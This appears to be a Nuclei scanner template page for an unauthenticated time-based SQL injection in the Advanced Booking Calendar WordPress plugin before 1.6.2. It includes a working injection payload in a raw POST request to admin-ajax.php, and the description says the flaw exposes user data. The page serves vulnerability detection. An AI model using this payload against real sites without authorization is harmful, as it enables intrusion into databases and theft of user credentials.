Skip to content

Advanced Booking Calendar < 1.6.2 - SQL Injection

ID: advanced-booking-calendar-sqli

Severity: critical

Author: theamanrawat

Tags: time-based-sqli,sqli,wpscan,wordpress,wp-plugin,wp,advanced-booking-calendar,unauthenticated

The AJAX action abc_booking_getBookingResult, available to both authenticated and Unauthenticated users did not sanitise the calendarId parameter which was then concatenated to a SQL statement, leading an unauthenticated SQL injection issue. This could be used to retrieve information from the database, such as users’ hashed password, username and email address.

id: advanced-booking-calendar-sqli
info:
name: Advanced Booking Calendar < 1.6.2 - SQL Injection
author: theamanrawat
severity: critical
description: |
The AJAX action abc_booking_getBookingResult, available to both authenticated and Unauthenticated users did not sanitise the calendarId parameter which was then concatenated to a SQL statement, leading an unauthenticated SQL injection issue. This could be used to retrieve information from the database, such as users' hashed password, username and email address.
remediation: Fixed in version 1.6.2
reference:
- https://wpscan.com/vulnerability/bac7b590-70de-45b3-bdc2-19f90524ca39
- https://wordpress.org/plugins/advanced-booking-calendar/
metadata:
verified: true
max-request: 1
tags: time-based-sqli,sqli,wpscan,wordpress,wp-plugin,wp,advanced-booking-calendar,unauthenticated
http:
- raw:
- |
@timeout: 10s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
calendarId=1)+AND+(SELECT+2065+FROM+(SELECT(SLEEP(6)))jtGw)+AND+(5440=5440&from=2010-05-05&to=2010-05-09&action=abc_booking_getBookingResult
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "abc-result-header")'
condition: and
# digest: 4a0a0047304502200717d0aef6ad1fc260cf5c3108fa981ed9deea7b47eb74b61eba88ec9f2a5582022100fa49ea2c05fd67799fe3ed34f2406602a8a5bfafbfa292e6a3194f3cf0070640:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/advanced-booking-calendar-sqli.yaml"

View on Github